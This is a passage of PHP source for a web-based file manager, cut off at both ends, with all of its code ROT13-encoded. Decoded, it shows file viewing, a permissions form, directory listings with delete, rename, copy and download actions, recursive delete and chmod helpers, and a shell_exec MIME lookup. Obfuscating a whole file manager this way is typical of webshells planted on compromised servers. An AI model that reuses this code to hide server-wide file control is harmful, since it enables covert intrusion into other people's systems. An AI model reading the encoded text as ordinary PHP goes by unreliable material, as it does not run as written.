$svyrfvmr = svyrfvmr($svyr_cngu);
$vf_mvc = snyfr;
$vf_vzntr = snyfr;
$vf_nhqvb = snyfr;
$vf_ivqrb = snyfr;
$vf_grkg = snyfr;
$ivrj_gvgyr = 'Svyr';
$svyranzrf = snyfr; // sbe mvc
$pbagrag = ''; // sbe grkg
vs ($rkg == 'mvc') {
$vf_mvc = gehr;
$ivrj_gvgyr = 'Nepuvir';
$svyranzrf = sz_trg_mvs_vasb($svyr_cngu);
} ryfrvs (va_neenl($rkg, sz_trg_vzntr_rkgf())) {
$vf_vzntr = gehr;
$ivrj_gvgyr = 'Vzntr';
} ryfrvs (va_neenl($rkg, sz_trg_nhqvb_rkgf())) {
$vf_nhqvb = gehr;
$ivrj_gvgyr = 'Nhqvb';
} ryfrvs (va_neenl($rkg, sz_trg_ivqrb_rkgf())) {
$vf_ivqrb = gehr;
$ivrj_gvgyr = 'Ivqrb';
} ryfrvs (va_neenl($rkg, sz_trg_grkg_rkgf()) || fhofge($zvzr_glcr, 0,
4) == 'grkg' || va_neenl($zvzr_glcr, sz_trg_grkg_zvzrf())) {
$vf_grkg = gehr;
$pbagrag = svyr_trg_pbagragf($svyr_cngu);
}
?>
<qvi pynff="cngu">
<c pynff="oernx-jbeq"><o><?cuc rpub
$ivrj_gvgyr ?> "<?cuc rpub sz_rap(sz_pbaireg_jva($svyr))
?>"</o></c>
<c pynff="oernx-jbeq">
Shyy cngu: <?cuc rpub sz_rap(sz_pbaireg_jva($svyr_cngu))
?><oe>
Svyr fvmr: <?cuc rpub sz_trg_svyrfvmr($svyrfvmr)
?><?cuc vs ($svyrfvmr >= 1000): ?> (<?cuc rpub
fcevags('%f olgrf', $svyrfvmr) ?>)<?cuc raqvs;
?><oe>
ZVZR-glcr: <?cuc rpub $zvzr_glcr ?><oe>
<?cuc
// MVC vasb
vs ($vf_mvc && $svyranzrf !== snyfr) {
$gbgny_svyrf = 0;
$gbgny_pbzc = 0;
$gbgny_hapbzc = 0;
sbernpu ($svyranzrf nf $sa) {
vs (!$sa['sbyqre']) {
$gbgny_svyrf++;
}
$gbgny_pbzc += $sa['pbzcerffrq_fvmr'];
$gbgny_hapbzc += $sa['svyrfvmr'];
}
?>
Svyrf va nepuvir: <?cuc rpub $gbgny_svyrf
?><oe>
Gbgny fvmr: <?cuc rpub sz_trg_svyrfvmr($gbgny_hapbzc)
?><oe>
Fvmr va nepuvir: <?cuc rpub sz_trg_svyrfvmr($gbgny_pbzc)
?><oe>
Pbzcerffvba: <?cuc rpub ebhaq(($gbgny_pbzc /
$gbgny_hapbzc) * 100) ?>%<oe>
<?cuc
}
// Vzntr vasb
vs ($vf_vzntr) {
$vzntr_fvmr = trgvzntrfvmr($svyr_cngu);
rpub 'Vzntr fvmrf: ' . (vffrg($vzntr_fvmr[0]) ?
$vzntr_fvmr[0] : '0') . ' k ' . (vffrg($vzntr_fvmr[1])
? $vzntr_fvmr[1] : '0') . '<oe>';
}
// Grkg vasb
vs ($vf_grkg) {
$vf_hgs8 = sz_vf_hgs8($pbagrag);
vs (shapgvba_rkvfgf('vpbai')) {
vs (!$vf_hgs8) {
$pbagrag = vpbai(SZ_VPBAI_VACHG_RAP,
'HGS-8//VTABER', $pbagrag);
}
}
rpub 'Punefrg: ' . ($vf_hgs8 ? 'hgs-8'
: '8 ovg') . '<oe>';
}
?>
</c>
<c>
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>&nzc;qy=<?cuc rpub heyrapbqr($svyr) ?>"><v
pynff="vpba-qbjaybnq"></v> Qbjaybnq</n></o>
&aofc;
<o><n uers="<?cuc rpub sz_rap($svyr_hey)
?>" gnetrg="_oynax"><v
pynff="vpba-punva"></v> Bcra</n></o>
&aofc;
<?cuc
// MVC npgvbaf
vs ($vf_mvc && $svyranzrf !== snyfr) {
$mvc_anzr = cnguvasb($svyr_cngu, CNGUVASB_SVYRANZR);
?>
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;hamvc=<?cuc rpub heyrapbqr($svyr)
?>"><v pynff="vpba-nccyl"></v>
Hacnpx</n></o> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;hamvc=<?cuc rpub heyrapbqr($svyr)
?>&nzc;gbsbyqre=1" gvgyr="Hacnpx gb <?cuc rpub
sz_rap($mvc_anzr) ?>"><v
pynff="vpba-nccyl"></v>
Hacnpx gb sbyqre</n></o> &aofc;
<?cuc
}
?>
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>"><v pynff="vpba-tbonpx"></v>
Onpx</n></o>
</c>
<?cuc
vs ($vf_mvc) {
// MVC pbagrag
vs ($svyranzrf !== snyfr) {
rpub '<pbqr pynff="znkurvtug">';
sbernpu ($svyranzrf nf $sa) {
vs ($sa['sbyqre']) {
rpub '<o>' .
sz_rap($sa['anzr']) . '</o><oe>';
} ryfr {
rpub $sa['anzr'] . ' (' .
sz_trg_svyrfvmr($sa['svyrfvmr']) . ')<oe>';
}
}
rpub '</pbqr>';
} ryfr {
rpub '<c>Reebe juvyr srgpuvat nepuvir
vasb</c>';
}
} ryfrvs ($vf_vzntr) {
// Vzntr pbagrag
vs (va_neenl($rkg, neenl('tvs', 'wct',
'wcrt', 'cat', 'ozc', 'vpb'))) {
rpub '<c><vzt fep="' .
sz_rap($svyr_hey) . '" nyg=""
pynff="cerivrj-vzt"></c>';
}
} ryfrvs ($vf_nhqvb) {
// Nhqvb pbagrag
rpub '<c><nhqvb fep="' .
sz_rap($svyr_hey) . '" pbagebyf
cerybnq="zrgnqngn"></nhqvb></c>';
} ryfrvs ($vf_ivqrb) {
// Ivqrb pbagrag
rpub '<qvi pynff="cerivrj-ivqrb"><ivqrb
fep="' . sz_rap($svyr_hey) . '" jvqgu="640"
urvtug="360" pbagebyf
cerybnq="zrgnqngn"></ivqrb></qvi>';
} ryfrvs ($vf_grkg) {
vs (SZ_HFR_UVTUYVTUGWF) {
// uvtuyvtug
$uywf_pynffrf = neenl(
'fugzy' => 'kzy',
'ugnpprff' => 'ncnpur',
'cugzy' => 'cuc',
'ybpx' => 'wfba',
'fit' => 'kzy',
);
$uywf_pynff = vffrg($uywf_pynffrf[$rkg]) ?
'ynat-' . $uywf_pynffrf[$rkg] : 'ynat-' . $rkg;
vs (rzcgl($rkg) || va_neenl(fgegbybjre($svyr),
sz_trg_grkg_anzrf()) || cert_zngpu('#\.zva\.(pff|wf)$#v', $svyr))
{
$uywf_pynff = 'abuvtuyvtug';
}
$pbagrag = '<cer
pynff="jvgu-uywf"><pbqr pynff="' . $uywf_pynff .
'">' . sz_rap($pbagrag) .
'</pbqr></cer>';
} ryfrvs (va_neenl($rkg, neenl('cuc',
'cuc4', 'cuc5', 'cugzy', 'cucf')))
{
// cuc uvtuyvtug
$pbagrag = uvtuyvtug_fgevat($pbagrag, gehr);
} ryfr {
$pbagrag = '<cer>' . sz_rap($pbagrag) .
'</cer>';
}
rpub $pbagrag;
}
?>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// puzbq (abg sbe Jvaqbjf)
vs (vffrg($_TRG['puzbq']) && !SZ_VF_JVA) {
$svyr = $_TRG['puzbq'];
$svyr = sz_pyrna_cngu($svyr);
$svyr = fge_ercynpr('/', '', $svyr);
vs ($svyr == '' || (!vf_svyr($cngu . '/' . $svyr)
&& !vf_qve($cngu . '/' . $svyr))) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
$svyr_hey = SZ_EBBG_HEY . (SZ_CNGU != '' ? '/' .
SZ_CNGU : '') . '/' . $svyr;
$svyr_cngu = $cngu . '/' . $svyr;
$zbqr = svyrcrezf($cngu . '/' . $svyr);
?>
<qvi pynff="cngu">
<c><o>Punatr Crezvffvbaf</o></c>
<c>
Shyy cngu: <?cuc rpub sz_rap($svyr_cngu) ?><oe>
</c>
<sbez npgvba="" zrgubq="cbfg">
<vachg glcr="uvqqra" anzr="c"
inyhr="<?cuc rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="puzbq"
inyhr="<?cuc rpub sz_rap($svyr) ?>">
<gnoyr pynff="pbzcnpg-gnoyr">
<ge>
<gq></gq>
<gq><o>Bjare</o></gq>
<gq><o>Tebhc</o></gq>
<gq><o>Bgure</o></gq>
</ge>
<ge>
<gq fglyr="grkg-nyvta:
evtug"><o>Ernq</o></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="he" inyhr="1"<?cuc
rpub ($zbqr & 00400) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="te" inyhr="1"<?cuc
rpub ($zbqr & 00040) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="be" inyhr="1"<?cuc
rpub ($zbqr & 00004) ? ' purpxrq' : ''
?>></ynory></gq>
</ge>
<ge>
<gq fglyr="grkg-nyvta:
evtug"><o>Jevgr</o></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="hj" inyhr="1"<?cuc
rpub ($zbqr & 00200) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="tj" inyhr="1"<?cuc
rpub ($zbqr & 00020) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="bj" inyhr="1"<?cuc
rpub ($zbqr & 00002) ? ' purpxrq' : ''
?>></ynory></gq>
</ge>
<ge>
<gq fglyr="grkg-nyvta:
evtug"><o>Rkrphgr</o></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="hk" inyhr="1"<?cuc
rpub ($zbqr & 00100) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="tk" inyhr="1"<?cuc
rpub ($zbqr & 00010) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="bk" inyhr="1"<?cuc
rpub ($zbqr & 00001) ? ' purpxrq' : ''
?>></ynory></gq>
</ge>
</gnoyr>
<c>
<ohggba pynff="oga"><v
pynff="vpba-nccyl"></v> Punatr</ohggba> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>"><v
pynff="vpba-pnapry"></v> Pnapry</n></o>
</c>
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
//--- SVYRZNANTRE ZNVA
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
// zrffntrf
sz_fubj_zrffntr();
$ahz_svyrf = pbhag($svyrf);
$ahz_sbyqref = pbhag($sbyqref);
$nyy_svyrf_fvmr = 0;
?>
<sbez npgvba="" zrgubq="cbfg">
<vachg glcr="uvqqra" anzr="c" inyhr="<?cuc
rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="tebhc"
inyhr="1">
<gnoyr><ge>
<gu fglyr="jvqgu:3%"><ynory><vachg
glcr="purpxobk" gvgyr="Vaireg fryrpgvba"
bapyvpx="purpxobk_gbttyr()"></ynory></gu>
<gu>Anzr</gu><gu
fglyr="jvqgu:10%">Fvmr</gu>
<gu fglyr="jvqgu:12%">Zbqvsvrq</gu>
<?cuc vs (!SZ_VF_JVA): ?><gu
fglyr="jvqgu:6%">Crezf</gu><gu
fglyr="jvqgu:10%">Bjare</gu><?cuc raqvs; ?>
<gu fglyr="jvqgu:13%"></gu></ge>
<?cuc
// yvax gb cnerag sbyqre
vs ($cnerag !== snyfr) {
?>
<ge><gq></gq><gq pbyfcna="<?cuc rpub
!SZ_VF_JVA ? '6' : '4' ?>"><n
uers="?c=<?cuc rpub heyrapbqr($cnerag) ?>"><v
pynff="vpba-neebj_hc"></v>
..</n></gq></ge>
<?cuc
}
sbernpu ($sbyqref nf $s) {
$vf_yvax = vf_yvax($cngu . '/' . $s);
$vzt = $vf_yvax ? 'vpba-yvax_sbyqre' :
'vpba-sbyqre';
$zbqvs = qngr(SZ_QNGRGVZR_SBEZNG, svyrzgvzr($cngu . '/' .
$s));
$crezf = fhofge(qrpbpg(svyrcrezf($cngu . '/' . $s)), -4);
vs (shapgvba_rkvfgf('cbfvk_trgcjhvq') &&
shapgvba_rkvfgf('cbfvk_trgtetvq')) {
$bjare = cbfvk_trgcjhvq(svyrbjare($cngu . '/' . $s));
$tebhc = cbfvk_trgtetvq(svyrtebhc($cngu . '/' . $s));
} ryfr {
$bjare = neenl('anzr' => '?');
$tebhc = neenl('anzr' => '?');
}
?>
<ge>
<gq><ynory><vachg glcr="purpxobk"
anzr="svyr[]" inyhr="<?cuc rpub sz_rap($s)
?>"></ynory></gq>
<gq><qvi pynff="svyranzr"><n
uers="?c=<?cuc rpub heyrapbqr(gevz(SZ_CNGU . '/' . $s,
'/')) ?>"><v pynff="<?cuc rpub $vzt
?>"></v> <?cuc rpub sz_rap(sz_pbaireg_jva($s))
?></n><?cuc rpub ($vf_yvax ? ' &enee; <v>'
. sz_rap(ernqyvax($cngu . '/' . $s)) . '</v>' :
'') ?></qvi></gq>
<gq>Sbyqre</gq><gq><?cuc rpub $zbqvs ?></gq>
<?cuc vs (!SZ_VF_JVA): ?>
<gq><n gvgyr="Punatr Crezvffvbaf" uers="?c=<?cuc
rpub heyrapbqr(SZ_CNGU) ?>&nzc;puzbq=<?cuc rpub heyrapbqr($s)
?>"><?cuc rpub $crezf ?></n></gq>
<gq><?cuc rpub sz_rap($bjare['anzr'] . ':' .
$tebhc['anzr']) ?></gq>
<?cuc raqvs; ?>
<gq>
<n gvgyr="Qryrgr" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;qry=<?cuc rpub heyrapbqr($s)
?>" bapyvpx="erghea pbasvez('Qryrgr
sbyqre?');"><v
pynff="vpba-pebff"></v></n>
<n gvgyr="Eranzr" uers="#"
bapyvpx="eranzr('<?cuc rpub sz_rap(SZ_CNGU) ?>',
'<?cuc rpub sz_rap($s) ?>');erghea snyfr;"><v
pynff="vpba-eranzr"></v></n>
<n gvgyr="Pbcl gb..." uers="?c=&nzc;pbcl=<?cuc
rpub heyrapbqr(gevz(SZ_CNGU . '/' . $s, '/'))
?>"><v pynff="vpba-pbcl"></v></n>
<n gvgyr="Qverpg yvax" uers="<?cuc rpub
sz_rap(SZ_EBBG_HEY . (SZ_CNGU != '' ? '/' . SZ_CNGU :
'') . '/' . $s . '/') ?>"
gnetrg="_oynax"><v
pynff="vpba-punva"></v></n>
</gq></ge>
<?cuc
syhfu();
}
sbernpu ($svyrf nf $s) {
$vf_yvax = vf_yvax($cngu . '/' . $s);
$vzt = $vf_yvax ? 'vpba-yvax_svyr' :
sz_trg_svyr_vpba_pynff($cngu . '/' . $s);
$zbqvs = qngr(SZ_QNGRGVZR_SBEZNG, svyrzgvzr($cngu . '/' .
$s));
$svyrfvmr_enj = svyrfvmr($cngu . '/' . $s);
$svyrfvmr = sz_trg_svyrfvmr($svyrfvmr_enj);
$svyryvax = '?c=' . heyrapbqr(SZ_CNGU) .
'&ivrj=' . heyrapbqr($s);
$nyy_svyrf_fvmr += $svyrfvmr_enj;
$crezf = fhofge(qrpbpg(svyrcrezf($cngu . '/' . $s)), -4);
vs (shapgvba_rkvfgf('cbfvk_trgcjhvq') &&
shapgvba_rkvfgf('cbfvk_trgtetvq')) {
$bjare = cbfvk_trgcjhvq(svyrbjare($cngu . '/' . $s));
$tebhc = cbfvk_trgtetvq(svyrtebhc($cngu . '/' . $s));
} ryfr {
$bjare = neenl('anzr' => '?');
$tebhc = neenl('anzr' => '?');
}
?>
<ge>
<gq><ynory><vachg glcr="purpxobk"
anzr="svyr[]" inyhr="<?cuc rpub sz_rap($s)
?>"></ynory></gq>
<gq><qvi pynff="svyranzr"><n uers="<?cuc
rpub sz_rap($svyryvax) ?>" gvgyr="Svyr vasb"><v
pynff="<?cuc rpub $vzt ?>"></v> <?cuc rpub
sz_rap(sz_pbaireg_jva($s)) ?></n><?cuc rpub ($vf_yvax ? '
&enee; <v>' . sz_rap(ernqyvax($cngu . '/' . $s)) .
'</v>' : '') ?></qvi></gq>
<gq><fcna pynff="tenl" gvgyr="<?cuc
cevags('%f olgrf', $svyrfvmr_enj) ?>"><?cuc rpub
$svyrfvmr ?></fcna></gq>
<gq><?cuc rpub $zbqvs ?></gq>
<?cuc vs (!SZ_VF_JVA): ?>
<gq><n gvgyr="Punatr Crezvffvbaf" uers="?c=<?cuc
rpub heyrapbqr(SZ_CNGU) ?>&nzc;puzbq=<?cuc rpub heyrapbqr($s)
?>"><?cuc rpub $crezf ?></n></gq>
<gq><?cuc rpub sz_rap($bjare['anzr'] . ':' .
$tebhc['anzr']) ?></gq>
<?cuc raqvs; ?>
<gq>
<n gvgyr="Qryrgr" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;qry=<?cuc rpub heyrapbqr($s)
?>" bapyvpx="erghea pbasvez('Qryrgr
svyr?');"><v
pynff="vpba-pebff"></v></n>
<n gvgyr="Eranzr" uers="#"
bapyvpx="eranzr('<?cuc rpub sz_rap(SZ_CNGU) ?>',
'<?cuc rpub sz_rap($s) ?>');erghea snyfr;"><v
pynff="vpba-eranzr"></v></n>
<n gvgyr="Pbcl gb..." uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;pbcl=<?cuc rpub heyrapbqr(gevz(SZ_CNGU
. '/' . $s, '/')) ?>"><v
pynff="vpba-pbcl"></v></n>
<n gvgyr="Qverpg yvax" uers="<?cuc rpub
sz_rap(SZ_EBBG_HEY . (SZ_CNGU != '' ? '/' . SZ_CNGU :
'') . '/' . $s) ?>"
gnetrg="_oynax"><v
pynff="vpba-punva"></v></n>
<n gvgyr="Qbjaybnq" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;qy=<?cuc rpub heyrapbqr($s)
?>"><v
pynff="vpba-qbjaybnq"></v></n>
</gq></ge>
<?cuc
syhfu();
}
vs (rzcgl($sbyqref) && rzcgl($svyrf)) {
?>
<ge><gq></gq><gq pbyfcna="<?cuc rpub
!SZ_VF_JVA ? '6' : '4' ?>"><rz>Sbyqre
vf rzcgl</rz></gq></ge>
<?cuc
} ryfr {
?>
<ge><gq pynff="tenl"></gq><gq
pynff="tenl" pbyfcna="<?cuc rpub !SZ_VF_JVA ?
'6' : '4' ?>">
Shyy fvmr: <fcna gvgyr="<?cuc cevags('%f olgrf',
$nyy_svyrf_fvmr) ?>"><?cuc rpub
sz_trg_svyrfvmr($nyy_svyrf_fvmr) ?></fcna>,
svyrf: <?cuc rpub $ahz_svyrf ?>,
sbyqref: <?cuc rpub $ahz_sbyqref ?>
</gq></ge>
<?cuc
}
?>
</gnoyr>
<c pynff="cngu"><n uers="#"
bapyvpx="fryrpg_nyy();erghea snyfr;"><v
pynff="vpba-purpxobk"></v> Fryrpg nyy</n>
&aofc;
<n uers="#" bapyvpx="hafryrpg_nyy();erghea
snyfr;"><v pynff="vpba-purpxobk_hapurpx"></v>
Hafryrpg nyy</n> &aofc;
<n uers="#" bapyvpx="vaireg_nyy();erghea
snyfr;"><v pynff="vpba-purpxobk_vaireg"></v>
Vaireg fryrpgvba</n></c>
<c><vachg glcr="fhozvg" anzr="qryrgr"
inyhr="Qryrgr" bapyvpx="erghea pbasvez('Qryrgr fryrpgrq
svyrf naq sbyqref?')">
<vachg glcr="fhozvg" anzr="mvc"
inyhr="Cnpx" bapyvpx="erghea pbasvez('Perngr
nepuvir?')">
<vachg glcr="fhozvg" anzr="pbcl"
inyhr="Pbcl"></c>
</sbez>
<?cuc
sz_fubj_sbbgre();
//--- RAQ
// Shapgvbaf
/**
* Qryrgr svyr be sbyqre (erphefviryl)
* @cnenz fgevat $cngu
* @erghea obby
*/
shapgvba sz_eqryrgr($cngu)
{
vs (vf_yvax($cngu)) {
erghea hayvax($cngu);
} ryfrvs (vf_qve($cngu)) {
$bowrpgf = fpnaqve($cngu);
$bx = gehr;
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (!sz_eqryrgr($cngu . '/' . $svyr)) {
$bx = snyfr;
}
}
}
}
erghea ($bx) ? ezqve($cngu) : snyfr;
} ryfrvs (vf_svyr($cngu)) {
erghea hayvax($cngu);
}
erghea snyfr;
}
/**
* Erphefvir puzbq
* @cnenz fgevat $cngu
* @cnenz vag $svyrzbqr
* @cnenz vag $qvezbqr
* @erghea obby
* @gbqb Jvyy hfr va znff puzbq
*/
shapgvba sz_epuzbq($cngu, $svyrzbqr, $qvezbqr)
{
vs (vf_qve($cngu)) {
vs (!puzbq($cngu, $qvezbqr)) {
erghea snyfr;
}
$bowrpgf = fpnaqve($cngu);
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (!sz_epuzbq($cngu . '/' . $svyr,
$svyrzbqr, $qvezbqr)) {
erghea snyfr;
}
}
}
}
erghea gehr;
} ryfrvs (vf_yvax($cngu)) {
erghea gehr;
} ryfrvs (vf_svyr($cngu)) {
erghea puzbq($cngu, $svyrzbqr);
}
erghea snyfr;
}
/**
* Fnsryl eranzr
* @cnenz fgevat $byq
* @cnenz fgevat $arj
* @erghea obby|ahyy
*/
shapgvba sz_eranzr($byq, $arj)
{
erghea (!svyr_rkvfgf($arj) && svyr_rkvfgf($byq)) ? eranzr($byq,
$arj) : ahyy;
}
/**
* Pbcl svyr be sbyqre (erphefviryl).
* @cnenz fgevat $cngu
* @cnenz fgevat $qrfg
* @cnenz obby $hcq Hcqngr svyrf
* @cnenz obby $sbepr Perngr sbyqre jvgu fnzr anzrf vafgrnq svyr
* @erghea obby
*/
shapgvba sz_epbcl($cngu, $qrfg, $hcq = gehr, $sbepr = gehr)
{
vs (vf_qve($cngu)) {
vs (!sz_zxqve($qrfg, $sbepr)) {
erghea snyfr;
}
$bowrpgf = fpnaqve($cngu);
$bx = gehr;
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (!sz_epbcl($cngu . '/' . $svyr, $qrfg .
'/' . $svyr)) {
$bx = snyfr;
}
}
}
}
erghea $bx;
} ryfrvs (vf_svyr($cngu)) {
erghea sz_pbcl($cngu, $qrfg, $hcq);
}
erghea snyfr;
}
/**
* Fnsryl perngr sbyqre
* @cnenz fgevat $qve
* @cnenz obby $sbepr
* @erghea obby
*/
shapgvba sz_zxqve($qve, $sbepr)
{
vs (svyr_rkvfgf($qve)) {
vs (vf_qve($qve)) {
erghea $qve;
} ryfrvs (!$sbepr) {
erghea snyfr;
}
hayvax($qve);
}
erghea zxqve($qve, 0777, gehr);
}
/**
* Fnsryl pbcl svyr
* @cnenz fgevat $s1
* @cnenz fgevat $s2
* @cnenz obby $hcq
* @erghea obby
*/
shapgvba sz_pbcl($s1, $s2, $hcq)
{
$gvzr1 = svyrzgvzr($s1);
vs (svyr_rkvfgf($s2)) {
$gvzr2 = svyrzgvzr($s2);
vs ($gvzr2 >= $gvzr1 && $hcq) {
erghea snyfr;
}
}
$bx = pbcl($s1, $s2);
vs ($bx) {
gbhpu($s2, $gvzr1);
}
erghea $bx;
}
/**
* Trg zvzr glcr
* @cnenz fgevat $svyr_cngu
* @erghea zvkrq|fgevat
*/
shapgvba sz_trg_zvzr_glcr($svyr_cngu)
{
vs (shapgvba_rkvfgf('svasb_bcra')) {
$svasb = svasb_bcra(SVYRVASB_ZVZR_GLCR);
$zvzr = svasb_svyr($svasb, $svyr_cngu);
svasb_pybfr($svasb);
erghea $zvzr;
} ryfrvs (shapgvba_rkvfgf('zvzr_pbagrag_glcr')) {
erghea zvzr_pbagrag_glcr($svyr_cngu);
} ryfrvs (!fgevfge(vav_trg('qvfnoyr_shapgvbaf'),
'furyy_rkrp')) {
$svyr = rfpncrfuryynet($svyr_cngu);
$zvzr = furyy_rkrp('svyr -ov ' . $svyr);
erghea $zvzr;
} ryfr {
erghea '--';
}
}
/**
* UGGC Erqverpg
* @cnenz fgevat $hey
* @cnenz vag $pbqr
*/
shapgvba sz_erqverpg($hey, $pbqr = 302)
{
urnqre('Ybpngvba: ' . $hey, gehr, $pbqr);
rkvg;
}
/**
* Pyrna cngu
* @cnenz fgevat $cngu
* @erghea fgevat
*/
shapgvba sz_pyrna_cngu($cngu)
{
$cngu = gevz($cngu);
$cngu = gevz($cngu, '\\/');
$cngu = fge_ercynpr(neenl('../', '..\\'),
'', $cngu);
vs ($cngu == '..') {
$cngu = '';
}
erghea fge_ercynpr('\\', '/', $cngu);
}
/**
* Trg cnerag cngu
* @cnenz fgevat $cngu
* @erghea obby|fgevat
*/
shapgvba sz_trg_cnerag_cngu($cngu)
{
$cngu = sz_pyrna_cngu($cngu);
vs ($cngu != '') {
$neenl = rkcybqr('/', $cngu);
vs (pbhag($neenl) > 1) {
$neenl = neenl_fyvpr($neenl, 0, -1);
erghea vzcybqr('/', $neenl);
}
erghea '';
}
erghea snyfr;
}
/**
* Trg avpr svyrfvmr
* @cnenz vag $fvmr
* @erghea fgevat
*/
shapgvba sz_trg_svyrfvmr($fvmr)
{
vs ($fvmr < 1000) {
erghea fcevags('%f O', $fvmr);
} ryfrvs (($fvmr / 1024) < 1000) {
erghea fcevags('%f XvO', ebhaq(($fvmr / 1024), 2));
} ryfrvs (($fvmr / 1024 / 1024) < 1000) {
erghea fcevags('%f ZvO', ebhaq(($fvmr / 1024 / 1024),
2));
} ryfrvs (($fvmr / 1024 / 1024 / 1024) < 1000) {
erghea fcevags('%f TvO', ebhaq(($fvmr / 1024 / 1024 /
1024), 2));
} ryfr {
erghea fcevags('%f GvO', ebhaq(($fvmr / 1024 / 1024 /
1024 / 1024), 2));
}
}
/**
* Trg vasb nobhg mvc nepuvir
* @cnenz fgevat $cngu
* @erghea neenl|obby
*/
shapgvba sz_trg_mvs_vasb($cngu)
{
vs (shapgvba_rkvfgf('mvc_bcra')) {
$nepu = mvc_bcra($cngu);
vs ($nepu) {
$svyranzrf = neenl();
juvyr ($mvc_ragel = mvc_ernq($nepu)) {
$mvc_anzr = mvc_ragel_anzr($mvc_ragel);
$mvc_sbyqre = fhofge($mvc_anzr, -1) == '/';
$svyranzrf[] = neenl(
'anzr' => $mvc_anzr,
'svyrfvmr' =>
mvc_ragel_svyrfvmr($mvc_ragel),
'pbzcerffrq_fvmr' =>
mvc_ragel_pbzcerffrqfvmr($mvc_ragel),
'sbyqre' => $mvc_sbyqre
//'pbzcerffvba_zrgubq' =>
mvc_ragel_pbzcerffvbazrgubq($mvc_ragel),
);
}
mvc_pybfr($nepu);
erghea $svyranzrf;
}
}
erghea snyfr;
}
/**
* Rapbqr ugzy ragvgvrf
* @cnenz fgevat $grkg
* @erghea fgevat
*/
shapgvba sz_rap($grkg)
{
erghea ugzyfcrpvnypunef($grkg, RAG_DHBGRF, 'HGS-8');
}
/**
* Fnir zrffntr va frffvba
* @cnenz fgevat $zft
* @cnenz fgevat $fgnghf
*/
shapgvba sz_frg_zft($zft, $fgnghf = 'bx')
{
$_FRFFVBA['zrffntr'] = $zft;
$_FRFFVBA['fgnghf'] = $fgnghf;
}
/**
* Purpx vs fgevat vf va HGS-8
* @cnenz fgevat $fgevat
* @erghea vag
*/
shapgvba sz_vf_hgs8($fgevat)
{
erghea cert_zngpu('//h', $fgevat);
}
/**
* Pbaireg svyr anzr gb HGS-8 va Jvaqbjf
* @cnenz fgevat $svyranzr
* @erghea fgevat
*/
shapgvba sz_pbaireg_jva($svyranzr)
{
vs (SZ_VF_JVA && shapgvba_rkvfgf('vpbai')) {
$svyranzr = vpbai(SZ_VPBAI_VACHG_RAP, 'HGS-8//VTABER',
$svyranzr);
}
erghea $svyranzr;
}
/**
* Trg PFF pynffanzr sbe svyr
* @cnenz fgevat $cngu
* @erghea fgevat
*/
shapgvba sz_trg_svyr_vpba_pynff($cngu)
{
// trg rkgrafvba
$rkg = fgegbybjre(cnguvasb($cngu, CNGUVASB_RKGRAFVBA));
fjvgpu ($rkg) {
pnfr 'vpb': pnfr 'tvs': pnfr 'wct':
pnfr 'wcrt': pnfr 'wcp': pnfr 'wc2':
pnfr 'wck': pnfr 'koz': pnfr 'jozc':
pnfr 'cat': pnfr 'ozc': pnfr 'gvs':
pnfr 'gvss':
$vzt = 'vpba-svyr_vzntr';
oernx;
pnfr 'gkg': pnfr 'pff': pnfr 'vav':
pnfr 'pbas': pnfr 'ybt': pnfr 'ugnpprff':
pnfr 'cnffjq': pnfr 'sgcdhbgn': pnfr
'fdy': pnfr 'wf': pnfr 'wfba': pnfr
'fu':
pnfr 'pbasvt': pnfr 'gjvt': pnfr
'gcy': pnfr 'zq': pnfr 'tvgvtaber':
pnfr 'yrff': pnfr 'fnff': pnfr
'fpff': pnfr 'p': pnfr 'pcc': pnfr
'pf': pnfr 'cl':
pnfr 'znc': pnfr 'ybpx': pnfr 'qgq':
$vzt = 'vpba-svyr_grkg';
oernx;
pnfr 'mvc': pnfr 'ene': pnfr 'tm':
pnfr 'gne': pnfr '7m':
$vzt = 'vpba-svyr_mvc';
oernx;
pnfr 'cuc': pnfr 'cuc4': pnfr 'cuc5':
pnfr 'cucf': pnfr 'cugzy':
$vzt = 'vpba-svyr_cuc';
oernx;
pnfr 'ugz': pnfr 'ugzy': pnfr
'fugzy': pnfr 'kugzy':
$vzt = 'vpba-svyr_ugzy';
oernx;
pnfr 'kzy': pnfr 'kfy': pnfr 'fit':
